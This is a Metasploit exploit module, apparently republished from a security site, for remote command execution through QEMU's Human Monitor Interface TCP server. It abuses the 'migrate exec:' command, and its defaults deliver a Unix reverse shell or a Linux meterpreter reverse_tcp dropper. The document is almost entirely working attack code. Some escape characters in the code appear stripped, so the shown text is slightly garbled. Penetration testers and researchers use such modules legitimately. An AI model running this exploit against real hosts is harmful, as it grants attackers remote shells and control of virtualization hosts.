Authored by Brendan Coles | Site metasploit.com

This Metasploit module uses QEMU’s Monitor Human Monitor Interface (HMP) TCP server to execute system commands using the migrate command. This module has been tested successfully on QEMU version 6.2.0 on Ubuntu 20.04.

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# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => "QEMU Monitor HMP 'migrate' Command Execution",
'Description' => %q{
This module uses QEMU's Monitor Human Monitor Interface (HMP)
TCP server to execute system commands using the `migrate` command.

This module has been tested successfully on QEMU version 6.2.0
on Ubuntu 20.04.
},
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'References' => [
['URL', 'https://wiki.qemu.org/ToDo/HMP'],
['URL', 'https://www.qemu.org/docs/master/system/monitor.html'],
['URL', 'https://www.qemu.org/docs/master/system/security.html'],
['URL', 'https://www.linux-kvm.org/page/Migration'],
],
'Arch' => [ ARCH_CMD, ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'Platform' => %w[unix linux],
'Payload' => {
'DisableNops' => true,
'BadChars' => "x00x0ax0dx22",
'Space' => 1010
},
'Targets' => [
[
'Unix (Command)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_cmd
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'PrependFork' => true,
'MeterpreterTryToFork' => true
},
'Type' => :linux_dropper
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'Privileged' => false,
'DisclosureDate' => '2011-12-02'
)
)
end

def read_until_prompt
::Timeout.timeout(10) do
loop do
res = sock.get_once
break if res.nil?
break if res.to_s.include?('(qemu)')
end
end
end

def check
connect
banner = sock.get_once.to_s
disconnect

unless banner.include?('QEMU') && banner.include?('monitor')
return CheckCode::Safe('Service is not QEMU monitor HMP.')
end

CheckCode::Appears('QEMU monitor HMP service is running.')
end

def execute_command(cmd, _opts = {})
cmd = cmd.gsub('', '\')
vprint_status("Executing command: #{cmd}")
sock.put("migrate -d "exec:#{cmd}"n")
read_until_prompt
end

def exploit
connect
read_until_prompt

print_status "Sending payload (#{payload.encoded.length} bytes) ..."

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 1010, background: true)
end
ensure
disconnect unless sock.nil?
end
end